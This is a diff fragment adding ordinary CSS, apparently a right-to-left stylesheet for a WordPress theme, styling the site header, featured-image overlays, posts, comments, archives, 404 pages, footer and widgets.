+.entry-content:before,
+.entry-content:after,
+.comment-content:before,
+.comment-content:after,
+.site-header:before,
+.site-header:after,
+.site-content:before,
+.site-content:after,
+.site-footer:before,
+.site-footer:after {
+  content: "";
+  display: table;
+  table-layout: fixed;
+}
+
+.clear:after,
+.entry-content:after,
+.comment-content:after,
+.site-header:after,
+.site-content:after,
+.site-footer:after {
+  clear: both;
+}
+
+/* Layout */
+/** === Layout === */
+#page {
+  width: 100%;
+}
+
+.site-content {
+  overflow: hidden;
+}
+
+/* Content */
+/*--------------------------------------------------------------
+## Header
+--------------------------------------------------------------*/
+.site-header {
+  padding: 1em;
+}
+
+.site-header.featured-image {
+  display: flex;
+  flex-direction: column;
+  justify-content: space-between;
+  min-height: 90vh;
+}
+
+.site-header.featured-image .site-branding-container {
+  margin-bottom: auto;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-header {
+    margin: 0;
+    padding: 3rem 0;
+  }
+  .site-header.featured-image {
+    min-height: 100vh;
+    margin-bottom: 3rem;
+  }
+}
+
+.site-branding {
+  color: #767676;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-branding {
+    margin: 0 calc(10% + 60px);
+  }
+}
+
+.site-logo {
+  position: relative;
+  z-index: 999;
+  margin-bottom: calc(.66 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .site-logo {
+    margin-bottom: 0;
+    position: absolute;
+    left: calc(100% + (1.25 * 1rem));
+    top: 4px;
+    z-index: 999;
+  }
+}
+
+.site-logo .custom-logo-link {
+  border-radius: 100%;
+  box-sizing: content-box;
+  box-shadow: 0 0 0 0 rgba(0, 0, 0, 0);
+  display: block;
+  width: 50px;
+  height: 50px;
+  overflow: hidden;
+  transition: box-shadow 200ms ease-in-out;
+}
+
+.site-logo .custom-logo-link .custom-logo {
+  min-height: inherit;
+}
+
+.site-logo .custom-logo-link:hover, .site-logo .custom-logo-link:active, .site-logo .custom-logo-link:focus {
+  box-shadow: 0 0 0 2px black;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-logo .custom-logo-link {
+    width: 64px;
+    height: 64px;
+  }
+}
+
+.site-title {
+  margin: auto;
+  display: inline;
+  color: #111;
+  /* When there is no description set, make sure navigation appears below title. */
+}
+
+.site-title a {
+  color: #111;
+}
+
+.site-title a:link, .site-title a:visited {
+  color: #111;
+}
+
+.site-title a:hover {
+  color: #4a4a4a;
+}
+
+.featured-image .site-title {
+  margin: 0;
+}
+
+@media only screen and (min-width: 768px) {
+  .featured-image .site-title {
+    display: inline-block;
+  }
+}
+
+.site-title + .main-navigation {
+  display: block;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-title {
+    display: inline;
+  }
+}
+
+.site-title:not(:empty) + .site-description:not(:empty):before {
+  content: "\2014";
+  margin: 0 .2em;
+}
+
+.site-description {
+  display: inline;
+  color: #767676;
+  font-weight: normal;
+  margin: 0;
+}
+
+.site-header.featured-image {
+  /* Hide overflow for overflowing featured image */
+  overflow: hidden;
+  /* Need relative positioning to properly align layers. */
+  position: relative;
+  /* Add text shadow to text, to increase readability. */
+  text-shadow: 0 1px 2px rgba(0, 0, 0, 0.35);
+  /* Set white text color when featured image is set. */
+  /* add focus state to social media icons */
+  /* Entry header */
+  /* Custom Logo Link */
+  /* Make sure important elements are above pseudo elements used for effects. */
+  /* Set up image filter layer positioning */
+  /* Background & Effects */
+  /* Shared background settings between pseudo elements. */
+  background-position: center;
+  background-repeat: no-repeat;
+  background-size: cover;
+  /* The intensity of each blend mode is controlled via layer opacity. */
+  /* Second layer: screen. */
+  /* Third layer: multiply. */
+  /* When image filters are inactive, a black overlay is added. */
+  /* Fourth layer: overlay. */
+  /* Fifth layer: readability overlay */
+}
+
+.site-header.featured-image .site-branding .site-title,
+.site-header.featured-image .site-branding .site-description,
+.site-header.featured-image .main-navigation a:after,
+.site-header.featured-image .main-navigation .main-menu > li.menu-item-has-children:after,
+.site-header.featured-image .main-navigation li,
+.site-header.featured-image .social-navigation li,
+.site-header.featured-image .entry-meta,
+.site-header.featured-image .entry-title {
+  color: #fff;
+}
+
+.site-header.featured-image .main-navigation a,
+.site-header.featured-image .main-navigation a + svg,
+.site-header.featured-image .social-navigation a,
+.site-header.featured-image .site-title a,
+.site-header.featured-image .site-featured-image a {
+  color: #fff;
+  transition: opacity 110ms ease-in-out;
+}
+
+.site-header.featured-image .main-navigation a:hover, .site-header.featured-image .main-navigation a:active,
+.site-header.featured-image .main-navigation a:hover + svg,
+.site-header.featured-image .main-navigation a:active + svg,
+.site-header.featured-image .main-navigation a + svg:hover,
+.site-header.featured-image .main-navigation a + svg:active,
+.site-header.featured-image .main-navigation a + svg:hover + svg,
+.site-header.featured-image .main-navigation a + svg:active + svg,
+.site-header.featured-image .social-navigation a:hover,
+.site-header.featured-image .social-navigation a:active,
+.site-header.featured-image .social-navigation a:hover + svg,
+.site-header.featured-image .social-navigation a:active + svg,
+.site-header.featured-image .site-title a:hover,
+.site-header.featured-image .site-title a:active,
+.site-header.featured-image .site-title a:hover + svg,
+.site-header.featured-image .site-title a:active + svg,
+.site-header.featured-image .site-featured-image a:hover,
+.site-header.featured-image .site-featured-image a:active,
+.site-header.featured-image .site-featured-image a:hover + svg,
+.site-header.featured-image .site-featured-image a:active + svg {
+  color: #fff;
+  opacity: 0.6;
+}
+
+.site-header.featured-image .main-navigation a:focus,
+.site-header.featured-image .main-navigation a:focus + svg,
+.site-header.featured-image .main-navigation a + svg:focus,
+.site-header.featured-image .main-navigation a + svg:focus + svg,
+.site-header.featured-image .social-navigation a:focus,
+.site-header.featured-image .social-navigation a:focus + svg,
+.site-header.featured-image .site-title a:focus,
+.site-header.featured-image .site-title a:focus + svg,
+.site-header.featured-image .site-featured-image a:focus,
+.site-header.featured-image .site-featured-image a:focus + svg {
+  color: #fff;
+}
+
+.site-header.featured-image .main-navigation .sub-menu a {
+  opacity: inherit;
+}
+
+.site-header.featured-image .social-navigation a:focus {
+  color: #fff;
+  opacity: 1;
+  border-bottom: 1px solid #fff;
+}
+
+.site-header.featured-image .social-navigation svg,
+.site-header.featured-image .site-featured-image svg {
+  /* Use -webkit- only if supporting: Chrome < 54, iOS < 9.3, Android < 4.4.4 */
+  -webkit-filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35));
+  filter: drop-shadow(0 1px 2px rgba(0, 0, 0, 0.35));
+}
+
+.site-header.featured-image .site-featured-image {
+  /* First layer: grayscale. */
+}
+
+.site-header.featured-image .site-featured-image .post-thumbnail img {
+  height: auto;
+  right: 50%;
+  max-width: 1000%;
+  min-height: 100%;
+  min-width: 100vw;
+  position: absolute;
+  top: 50%;
+  transform: translateX(50%) translateY(-50%);
+  width: auto;
+  z-index: 1;
+  /* When image filters are active, make it grayscale to colorize it blue. */
+}
+
+@supports (object-fit: cover) {
+  .site-header.featured-image .site-featured-image .post-thumbnail img {
+    height: 100%;
+    right: 0;
+    object-fit: cover;
+    top: 0;
+    transform: none;
+    width: 100%;
+  }
+}
+
+.image-filters-enabled .site-header.featured-image .site-featured-image .post-thumbnail img {
+  filter: grayscale(100%);
+}
+
+.site-header.featured-image .site-featured-image .entry-header {
+  margin-top: calc( 4 * 1rem);
+  margin-bottom: 0;
+  margin-right: 0;
+  margin-left: 0;
+  /* Entry meta */
+}
+
+@media only screen and (min-width: 768px) {
+  .site-header.featured-image .site-featured-image .entry-header {
+    margin-right: calc(10% + 60px);
+    margin-left: calc(10% + 60px);
+  }
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-title:before {
+  background: #fff;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta {
+  font-weight: 500;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta > span {
+  margin-left: 1rem;
+  display: inline-block;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta > span:last-child {
+  margin-left: 0;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta a {
+  transition: color 110ms ease-in-out;
+  color: currentColor;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta a:hover {
+  text-decoration: none;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta .svg-icon {
+  position: relative;
+  display: inline-block;
+  vertical-align: middle;
+  margin-left: 0.5em;
+}
+
+.site-header.featured-image .site-featured-image .entry-header .entry-meta .discussion-avatar-list {
+  display: none;
+}
+
+@media only screen and (min-width: 768px) {
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-meta {
+    display: flex;
+    position: relative;
+  }
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-title {
+    padding-left: calc(1 * (100vw / 12) + 1rem);
+  }
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-meta .comment-count {
+    position: absolute;
+    left: 0;
+  }
+  .site-header.featured-image .site-featured-image .entry-header.has-discussion .entry-meta .discussion-avatar-list {
+    display: block;
+    position: absolute;
+    bottom: 100%;
+  }
+}
+
+.site-header.featured-image .custom-logo-link {
+  background: #fff;
+  box-shadow: 0 0 0 0 rgba(255, 255, 255, 0);
+}
+
+.site-header.featured-image .custom-logo-link:hover, .site-header.featured-image .custom-logo-link:active, .site-header.featured-image .custom-logo-link:focus {
+  box-shadow: 0 0 0 2px white;
+}
+
+.site-header.featured-image .site-branding {
+  position: relative;
+  z-index: 10;
+}
+
+.site-header.featured-image .site-featured-image .entry-header {
+  position: relative;
+  z-index: 9;
+}
+
+.site-header.featured-image .site-branding-container:after,
+.site-header.featured-image .site-featured-image:before,
+.site-header.featured-image .site-featured-image:after, .site-header.featured-image:after {
+  display: block;
+  position: absolute;
+  top: 0;
+  right: 0;
+  content: "\020";
+  width: 100%;
+  height: 100%;
+}
+
+.image-filters-enabled .site-header.featured-image .site-featured-image:before {
+  background: #0073aa;
+  mix-blend-mode: screen;
+  opacity: 0.1;
+}
+
+.site-header.featured-image .site-featured-image:after {
+  background: #000;
+  mix-blend-mode: multiply;
+  opacity: .7;
+  /* When image filters are active, a blue overlay is added. */
+}
+
+.image-filters-enabled .site-header.featured-image .site-featured-image:after {
+  background: #0073aa;
+  opacity: .8;
+  z-index: 3;
+  /* Browsers supporting mix-blend-mode don't need opacity < 1 */
+}
+
+@supports (mix-blend-mode: multiply) {
+  .image-filters-enabled .site-header.featured-image .site-featured-image:after {
+    opacity: 1;
+  }
+}
+
+.image-filters-enabled .site-header.featured-image .site-branding-container:after {
+  background: rgba(0, 0, 0, 0.35);
+  mix-blend-mode: overlay;
+  opacity: 0.5;
+  z-index: 4;
+  /* Browsers supporting mix-blend-mode can have a light overlay */
+}
+
+@supports (mix-blend-mode: overlay) {
+  .image-filters-enabled .site-header.featured-image .site-branding-container:after {
+    background: rgba(255, 255, 255, 0.35);
+  }
+}
+
+.site-header.featured-image:after {
+  background: #000;
+  /**
+		 * Add a transition to the readability overlay, to add a subtle
+		 * but smooth effect when resizing the screen.
+		 */
+  transition: opacity 1200ms ease-in-out;
+  opacity: 0.7;
+  z-index: 5;
+  /* When image filters are active, a blue overlay is added. */
+}
+
+.image-filters-enabled .site-header.featured-image:after {
+  background: #000e14;
+  opacity: 0.38;
+}
+
+@media only screen and (min-width: 768px) {
+  .image-filters-enabled .site-header.featured-image:after {
+    opacity: 0.18;
+  }
+}
+
+.site-header.featured-image ::-moz-selection {
+  background: rgba(255, 255, 255, 0.17);
+}
+
+.site-header.featured-image ::selection {
+  background: rgba(255, 255, 255, 0.17);
+}
+
+/*--------------------------------------------------------------
+## Posts and pages
+--------------------------------------------------------------*/
+.sticky {
+  display: block;
+}
+
+.sticky-post {
+  background: #0073aa;
+  color: #fff;
+  display: inline-block;
+  font-weight: bold;
+  line-height: 1;
+  padding: .25rem;
+  position: absolute;
+  text-transform: uppercase;
+  top: -1rem;
+  z-index: 1;
+}
+
+.updated:not(.published) {
+  display: none;
+}
+
+.page-links {
+  clear: both;
+  margin: 0 0 calc(1.5 * 1rem);
+}
+
+.entry {
+  margin-top: calc(6 * 1rem);
+}
+
+.entry:first-of-type {
+  margin-top: 0;
+}
+
+.entry .entry-header {
+  margin: calc(3 * 1rem) 1rem 1rem;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-header {
+    margin: calc(3 * 1rem) calc(10% + 60px) 1rem;
+  }
+}
+
+.entry .entry-title {
+  margin: 0;
+}
+
+.entry .entry-title:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+.entry .entry-title a {
+  color: inherit;
+}
+
+.entry .entry-title a:hover {
+  color: #4a4a4a;
+}
+
+.entry .entry-meta,
+.entry .entry-footer {
+  color: #767676;
+  font-weight: 500;
+}
+
+.entry .entry-meta > span,
+.entry .entry-footer > span {
+  margin-left: 1rem;
+  display: inline-block;
+}
+
+.entry .entry-meta > span:last-child,
+.entry .entry-footer > span:last-child {
+  margin-left: 0;
+}
+
+.entry .entry-meta a,
+.entry .entry-footer a {
+  transition: color 110ms ease-in-out;
+  color: currentColor;
+}
+
+.entry .entry-meta a:hover,
+.entry .entry-footer a:hover {
+  text-decoration: none;
+  color: #0073aa;
+}
+
+.entry .entry-meta .svg-icon,
+.entry .entry-footer .svg-icon {
+  position: relative;
+  display: inline-block;
+  vertical-align: middle;
+  margin-left: 0.5em;
+}
+
+.entry .entry-meta {
+  margin: 1rem 0;
+}
+
+.entry .entry-footer {
+  margin: calc(2 * 1rem) 1rem 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-footer {
+    margin: 1rem calc(10% + 60px) calc(3 * 1rem);
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-footer {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+.entry .post-thumbnail {
+  margin: 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .post-thumbnail {
+    margin: 1rem calc(10% + 60px);
+  }
+}
+
+.entry .post-thumbnail:focus {
+  outline: none;
+}
+
+.entry .post-thumbnail .post-thumbnail-inner {
+  display: block;
+}
+
+.entry .post-thumbnail .post-thumbnail-inner img {
+  position: relative;
+  display: block;
+  width: 100%;
+}
+
+.image-filters-enabled .entry .post-thumbnail {
+  position: relative;
+  display: block;
+}
+
+.image-filters-enabled .entry .post-thumbnail .post-thumbnail-inner {
+  filter: grayscale(100%);
+}
+
+.image-filters-enabled .entry .post-thumbnail .post-thumbnail-inner:after {
+  background: rgba(0, 0, 0, 0.35);
+  content: "";
+  display: block;
+  height: 100%;
+  opacity: .5;
+  pointer-events: none;
+  position: absolute;
+  top: 0;
+  width: 100%;
+  z-index: 4;
+}
+
+@supports (mix-blend-mode: multiply) {
+  .image-filters-enabled .entry .post-thumbnail .post-thumbnail-inner:after {
+    display: none;
+  }
+}
+
+.image-filters-enabled .entry .post-thumbnail:before, .image-filters-enabled .entry .post-thumbnail:after {
+  position: absolute;
+  display: block;
+  width: 100%;
+  height: 100%;
+  top: 0;
+  right: 0;
+  content: "\020";
+  pointer-events: none;
+}
+
+.image-filters-enabled .entry .post-thumbnail:before {
+  background: #0073aa;
+  mix-blend-mode: screen;
+  opacity: 0.1;
+  z-index: 2;
+}
+
+.image-filters-enabled .entry .post-thumbnail:after {
+  background: #0073aa;
+  mix-blend-mode: multiply;
+  opacity: .8;
+  z-index: 3;
+  /* Browsers supporting mix-blend-mode don't need opacity < 1 */
+}
+
+@supports (mix-blend-mode: multiply) {
+  .image-filters-enabled .entry .post-thumbnail:after {
+    opacity: 1;
+  }
+}
+
+.entry .entry-content,
+.entry .entry-summary {
+  max-width: calc(100% - (2 * 1rem));
+  margin: 0 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content,
+  .entry .entry-summary {
+    max-width: 80%;
+    margin: 0 10%;
+    padding: 0 60px;
+  }
+}
+
+.entry .entry-content p {
+  word-wrap: break-word;
+}
+
+.entry .entry-content .more-link {
+  transition: color 110ms ease-in-out;
+  display: inline;
+  color: inherit;
+}
+
+.entry .entry-content .more-link:after {
+  content: "\02192";
+  display: inline-block;
+  margin-right: 0.5em;
+}
+
+.entry .entry-content .more-link:hover {
+  color: #0073aa;
+  text-decoration: none;
+}
+
+.entry .entry-content a {
+  text-decoration: underline;
+}
+
+.entry .entry-content a.button, .entry .entry-content a:hover {
+  text-decoration: none;
+}
+
+.entry .entry-content a.button {
+  display: inline-block;
+}
+
+.entry .entry-content a.button:hover {
+  background: #111;
+  color: #fff;
+  cursor: pointer;
+}
+
+.entry .entry-content > iframe[style] {
+  margin: 32px 0 !important;
+  max-width: 100% !important;
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content > iframe[style] {
+    max-width: calc(8 * (100vw / 12) - 28px) !important;
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content > iframe[style] {
+    max-width: calc(6 * (100vw / 12) - 28px) !important;
+  }
+}
+
+.entry .entry-content .page-links a {
+  margin: calc(0.5 * 1rem);
+  text-decoration: none;
+}
+
+.entry .entry-content .wp-audio-shortcode {
+  max-width: calc(100vw - (2 * 1rem));
+}
+
+@media only screen and (min-width: 768px) {
+  .entry .entry-content .wp-audio-shortcode {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .entry .entry-content .wp-audio-shortcode {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+/* Author description */
+.author-bio {
+  margin: calc(2 * 1rem) 1rem 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .author-bio {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .author-bio {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .author-bio {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .author-bio {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+.author-bio .author-title {
+  display: inline;
+}
+
+.author-bio .author-title:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+.author-bio .author-description {
+  display: inline;
+  color: #767676;
+  font-size: 1.125em;
+  line-height: 1.2;
+}
+
+.author-bio .author-description .author-link {
+  display: inline-block;
+}
+
+.author-bio .author-description .author-link:hover {
+  color: #005177;
+  text-decoration: none;
+}
+
+/*--------------------------------------------------------------
+## Comments
+--------------------------------------------------------------*/
+.comment-content a {
+  word-wrap: break-word;
+}
+
+.bypostauthor {
+  display: block;
+}
+
+.comments-area {
+  margin: calc(2 * 1rem) 1rem;
+  /* Add extra margin when the comments section is located immediately after the
+	 * post itself (this happens on pages).
+	 */
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area {
+    max-width: calc(8 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 1168px) {
+  .comments-area {
+    max-width: calc(6 * (100vw / 12) - 28px);
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+.comments-area > * {
+  margin-top: calc(2 * 1rem);
+  margin-bottom: calc(2 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area > * {
+    margin-top: calc(3 * 1rem);
+    margin-bottom: calc(3 * 1rem);
+  }
+}
+
+.entry + .comments-area {
+  margin-top: calc(3 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area .comments-title-wrap {
+    align-items: baseline;
+    display: flex;
+    justify-content: space-between;
+  }
+}
+
+.comments-area .comments-title-wrap .comments-title {
+  margin: 0;
+}
+
+.comments-area .comments-title-wrap .comments-title:before {
+  background: #767676;
+  content: "\020";
+  display: block;
+  height: 2px;
+  margin: 1rem 0;
+  width: 1em;
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area .comments-title-wrap .comments-title {
+    flex: 1 0 calc(3 * (100vw / 12));
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .comments-area .comments-title-wrap .discussion-meta {
+    flex: 0 0 calc(2 * (100vw / 12));
+    margin-right: 1rem;
+  }
+}
+
+#comment {
+  max-width: 100%;
+  box-sizing: border-box;
+}
+
+#respond {
+  position: relative;
+}
+
+#respond .comment-user-avatar {
+  margin: 1rem 0 -1rem;
+}
+
+#respond .comment .comment-form {
+  padding-right: 0;
+}
+
+#respond > small {
+  display: block;
+  font-size: 22px;
+  position: absolute;
+  right: calc(1rem + 100%);
+  top: calc(-3.5 * 1rem);
+  width: calc(100vw / 12);
+}
+
+#comments > .comments-title:last-child {
+  display: none;
+}
+
+.comment-form-flex {
+  display: flex;
+  flex-direction: column;
+}
+
+.comment-form-flex .comments-title {
+  display: none;
+  margin: 0;
+  order: 1;
+}
+
+.comment-form-flex #respond {
+  order: 2;
+}
+
+.comment-form-flex #respond + .comments-title {
+  display: block;
+}
+
+.comment-list {
+  list-style: none;
+  padding: 0;
+}
+
+.comment-list .children {
+  margin: 0;
+  padding: 0 1rem 0 0;
+}
+
+.comment-list > .comment:first-child {
+  margin-top: 0;
+}
+
+.comment-list .pingback .comment-body,
+.comment-list .trackback .comment-body {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  font-weight: 500;
+  margin-top: 1rem;
+  margin-bottom: 1rem;
+}
+
+.comment-list .pingback .comment-body a:not(.comment-edit-link),
+.comment-list .trackback .comment-body a:not(.comment-edit-link) {
+  font-weight: bold;
+  font-size: 19.55556px;
+  line-height: 1.5;
+  padding-left: 0.5rem;
+  display: block;
+}
+
+.comment-list .pingback .comment-body .comment-edit-link,
+.comment-list .trackback .comment-body .comment-edit-link {
+  color: #767676;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-weight: 500;
+}
+
+#respond + .comment-reply {
+  display: none;
+}
+
+.comment-reply .comment-reply-link {
+  display: inline-block;
+}
+
+.comment {
+  list-style: none;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment {
+    padding-right: calc(.5 * (1rem + calc(100vw / 12 )));
+  }
+  .comment.depth-1,
+  .comment .children {
+    padding-right: 0;
+  }
+  .comment.depth-1 {
+    margin-right: calc(3.25 * 1rem);
+  }
+}
+
+.comment .comment-body {
+  margin: calc(2 * 1rem) 0 0;
+}
+
+.comment .comment-meta {
+  position: relative;
+}
+
+.comment .comment-author .avatar {
+  float: right;
+  margin-left: 1rem;
+  position: relative;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment .comment-author .avatar {
+    float: inherit;
+    margin-left: inherit;
+    position: absolute;
+    top: 0;
+    left: calc(100% + 1rem);
+  }
+}
+
+.comment .comment-author .fn {
+  position: relative;
+  display: block;
+}
+
+.comment .comment-author .fn a {
+  color: inherit;
+}
+
+.comment .comment-author .fn a:hover {
+  color: #005177;
+}
+
+.comment .comment-author .post-author-badge {
+  border-radius: 100%;
+  display: block;
+  height: 18px;
+  position: absolute;
+  background: #008fd3;
+  left: calc(100% - 2.5rem);
+  top: -3px;
+  width: 18px;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment .comment-author .post-author-badge {
+    left: calc(100% + 0.75rem);
+  }
+}
+
+.comment .comment-author .post-author-badge svg {
+  width: inherit;
+  height: inherit;
+  display: block;
+  fill: white;
+  transform: scale(0.875);
+}
+
+.comment .comment-metadata > a,
+.comment .comment-metadata .comment-edit-link {
+  display: inline;
+  font-weight: 500;
+  color: #767676;
+  vertical-align: baseline;
+}
+
+.comment .comment-metadata > a time,
+.comment .comment-metadata .comment-edit-link time {
+  vertical-align: baseline;
+}
+
+.comment .comment-metadata > a:hover,
+.comment .comment-metadata .comment-edit-link:hover {
+  color: #005177;
+  text-decoration: none;
+}
+
+.comment .comment-metadata > * {
+  display: inline-block;
+}
+
+.comment .comment-metadata .edit-link-sep {
+  color: #767676;
+  margin: 0 0.2em;
+  vertical-align: baseline;
+}
+
+.comment .comment-metadata .edit-link {
+  color: #767676;
+}
+
+.comment .comment-metadata .edit-link svg {
+  transform: scale(0.8);
+  vertical-align: baseline;
+  margin-left: 0.1em;
+}
+
+.comment .comment-metadata .comment-edit-link {
+  position: relative;
+  padding-right: 1rem;
+  margin-right: -1rem;
+  z-index: 1;
+}
+
+.comment .comment-metadata .comment-edit-link:hover {
+  color: #0073aa;
+}
+
+.comment .comment-content {
+  margin: 1rem 0;
+}
+
+@media only screen and (min-width: 1168px) {
+  .comment .comment-content {
+    padding-left: 1rem;
+  }
+}
+
+.comment .comment-content > *:first-child {
+  margin-top: 0;
+}
+
+.comment .comment-content > *:last-child {
+  margin-bottom: 0;
+}
+
+.comment .comment-content blockquote {
+  margin-right: 0;
+}
+
+.comment .comment-content a {
+  text-decoration: underline;
+}
+
+.comment .comment-content a:hover {
+  text-decoration: none;
+}
+
+.comment-reply-link,
+#cancel-comment-reply-link {
+  font-weight: 500;
+}
+
+.comment-reply-link:hover,
+#cancel-comment-reply-link:hover {
+  color: #005177;
+}
+
+.discussion-avatar-list {
+  content: "";
+  display: table;
+  table-layout: fixed;
+  margin: 0;
+  padding: 0;
+}
+
+.discussion-avatar-list li {
+  position: relative;
+  list-style: none;
+  margin: 0 0 0 -8px;
+  padding: 0;
+  float: right;
+}
+
+.discussion-avatar-list .comment-user-avatar img {
+  height: calc(1.5 * 1rem);
+  width: calc(1.5 * 1rem);
+}
+
+.discussion-meta .discussion-meta-info {
+  margin: 0;
+}
+
+.discussion-meta .discussion-meta-info .svg-icon {
+  vertical-align: middle;
+  fill: currentColor;
+  transform: scale(0.6) scaleX(-1) translateY(-0.1em);
+  margin-right: -0.25rem;
+}
+
+.comment-form .comment-notes,
+.comment-form label {
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", "Roboto", "Oxygen", "Ubuntu", "Cantarell", "Fira Sans", "Droid Sans", "Helvetica Neue", sans-serif;
+  font-size: 0.71111em;
+  color: #767676;
+}
+
+@media only screen and (min-width: 768px) {
+  .comment-form .comment-form-author,
+  .comment-form .comment-form-email {
+    width: calc(50% - 0.5rem);
+    float: right;
+  }
+}
+
+@media only screen and (min-width: 768px) {
+  .comment-form .comment-form-email {
+    margin-right: 1rem;
+  }
+}
+
+.comment-form input[name="author"],
+.comment-form input[name="email"],
+.comment-form input[name="url"] {
+  display: block;
+  width: 100%;
+}
+
+/*--------------------------------------------------------------
+## Archives
+--------------------------------------------------------------*/
+.archive .page-header,
+.search .page-header,
+.error404 .page-header {
+  margin: 1rem 1rem calc(3 * 1rem);
+}
+
+@media only screen and (min-width: 768px) {
+  .archive .page-header,
+  .search .page-header,
+  .error404 .page-header {
+    margin: 0 calc(10% + 60px) calc(10% + 60px);
+  }
+}
+
+.archive .page-header .page-title,
+.search .page-header .page-title,
+.error404 .page-header .page-title {
+  color: #767676;
+  display: inline;
+  letter-spacing: normal;
+}
+
+.archive .page-header .page-title:before,
+.search .page-header .page-title:before,
+.error404 .page-header .page-title:before {
+  display: none;
+}
+
+.archive .page-header .search-term,
+.archive .page-header .page-description,
+.search .page-header .search-term,
+.search .page-header .page-description,
+.error404 .page-header .search-term,
+.error404 .page-header .page-description {
+  display: inherit;
+  clear: both;
+}
+
+.archive .page-header .search-term:after,
+.archive .page-header .page-description:after,
+.search .page-header .search-term:after,
+.search .page-header .page-description:after,
+.error404 .page-header .search-term:after,
+.error404 .page-header .page-description:after {
+  content: ".";
+  font-weight: bold;
+  color: #767676;
+}
+
+.archive .page-header .page-description {
+  display: block;
+  color: #111;
+  font-size: 1em;
+}
+
+@media only screen and (min-width: 768px) {
+  .hfeed .entry .entry-header {
+    margin: calc(3 * 1rem) calc(10% + 60px) calc(1rem / 2);
+  }
+}
+
+/* 404 & Not found */
+.error-404.not-found .page-content,
+.no-results.not-found .page-content {
+  margin: calc(3 * 1rem) 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  .error-404.not-found .page-content,
+  .no-results.not-found .page-content {
+    margin: calc(3 * 1rem) calc(10% + 60px) calc(1rem / 2);
+  }
+}
+
+.error-404.not-found .search-submit,
+.no-results.not-found .search-submit {
+  vertical-align: middle;
+  margin: 1rem 0;
+}
+
+.error-404.not-found .search-field,
+.no-results.not-found .search-field {
+  width: 100%;
+}
+
+/*--------------------------------------------------------------
+## Footer
+--------------------------------------------------------------*/
+/* Site footer */
+#colophon .widget-area,
+#colophon .site-info {
+  margin: calc(2 * 1rem) 1rem;
+}
+
+@media only screen and (min-width: 768px) {
+  #colophon .widget-area,
+  #colophon .site-info {
+    margin: calc(3 * 1rem) calc(10% + 60px);
+  }
+}
+
+#colophon .widget-column {
+  display: flex;
+  flex-wrap: wrap;
+}
+
+#colophon .widget-column .widget {
+  width: 100%;
+}
+
+@media only screen and (min-width: 1168px) {
+  #colophon .widget-column .widget {
+    margin-left: calc(3 * 1rem);
+    width: calc(50% - (3 * 1rem));
+  }
+}
+
+#colophon .site-info {
+  color: #767676;
+}
+
+#colophon .site-info a {
+  color: inherit;
+}
+
+#colophon .site-info a:hover {
+  text-decoration: none;
+  color: #0073aa;
+}
+
+#colophon .site-info .imprint,
+#colophon .site-info .privacy-policy-link {
+  margin-left: 1rem;
+}
+
+/* Widgets */
+.widget {
+  margin: 0 0 1rem;
+  /* Make sure select elements fit in widgets. */
+}
+
+.widget select {
+  max-width: 100%;
+}
+
+.widget a {
+  color: #0073aa;
+}
+
+.widget a:hover {
+  color: #005177;
+}
+
